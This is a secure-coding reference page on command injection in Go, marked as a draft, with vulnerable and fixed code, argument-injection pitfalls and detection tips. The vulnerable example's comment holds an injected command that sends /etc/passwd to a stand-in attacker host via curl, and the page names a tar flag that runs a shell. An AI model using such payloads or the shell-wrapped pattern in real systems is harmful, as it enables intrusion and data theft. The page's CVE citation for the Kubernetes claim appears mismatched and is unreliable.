flawopen.com/Command Injection/Go

Command Injection in Go

Critical CWE-78 Draft — pending review
ELI5

Imagine handing a courier an envelope with an address card. Direct execution is like the courier reading only the street field. Injection is when you give the courier a megaphone and they announce everything written on the card to the whole building.

Key terms on this page
os/exec.Command
Go's standard library function for running external processes. It passes arguments directly without a shell by default.
sh -c wrapper
The dangerous pattern of wrapping commands in a shell string in Go to support pipes or redirection.

What's happening

Go's standard library os/exec.Command is safe by default because it takes arguments as variadic strings (...string) and invokes the kernel system call directly. Command injection in Go almost exclusively happens when developers intentionally call exec.Command("sh", "-c", userString) or exec.Command("bash", "-c", userString).

Real-world impact

High-profile Go tools and Kubernetes controllers have suffered remote code execution vulnerabilities when reconciling manifests by invoking shell commands with untrusted repository names.

CVE-2021-3121 & Go Security Advisory Database.

Vulnerable vs. fixed

VULNERABLE
// Spawning bash explicitly to execute concatenated string
package main

import (
    "os/exec"
)

func runBackup(target string) ([]byte, error) {
    // Attacker input: "db; curl http://attacker.com/leak --data @/etc/passwd"
    cmdStr := "tar -czf backup.tar.gz " + target
    cmd := exec.Command("sh", "-c", cmdStr)
    return cmd.Output()
}
FIXED
// Calling tar directly without an intermediate shell
package main

import (
    "os/exec"
)

func runBackup(target string) ([]byte, error) {
    // target is passed strictly as a single filename argument
    cmd := exec.Command("tar", "-czf", "backup.tar.gz", target)
    return cmd.Output()
}

Why the fix works

exec.Command("tar", ...) invokes the tar binary via syscall.ForkExec. No shell is launched, meaning argument delimiters are enforced at the OS level and shell metacharacters cannot trigger secondary commands.

Gotchas

Argument injection (Flags vs. Commands)

Even with exec.Command, if an attacker can control the first argument, they can pass flags like --checkpoint-action=exec=sh in tools like tar. Always precede user arguments with explicit options.

Common misconceptions

"Go compiles to binary, so it is immune"

Compiled binaries still make operating system calls. When delegating work to external CLI binaries, Go has the same responsibilities as interpreted languages.

How to check if you're affected

grep -rn 'exec\.Command("sh", "-c"' --include="*.go" . grep -rn 'exec\.Command("bash", "-c"' --include="*.go" .
Run gosec with rule G204 (audit use of command execution) in CI.

Prevention checklist

FAQ

How do I implement pipes in Go safely?

Use Go's io.Pipe or cmd1.StdoutPipe() and connect it to cmd2.StdinPipe() in Go code, rather than using the shell pipe symbol (|).

References

View in: Python JavaScript Go Java PHP C# Ruby C/C++ Rust Kotlin Swift Solidity (N/A)
Also see: SQL Injection XSS Path Traversal Insecure Deserialization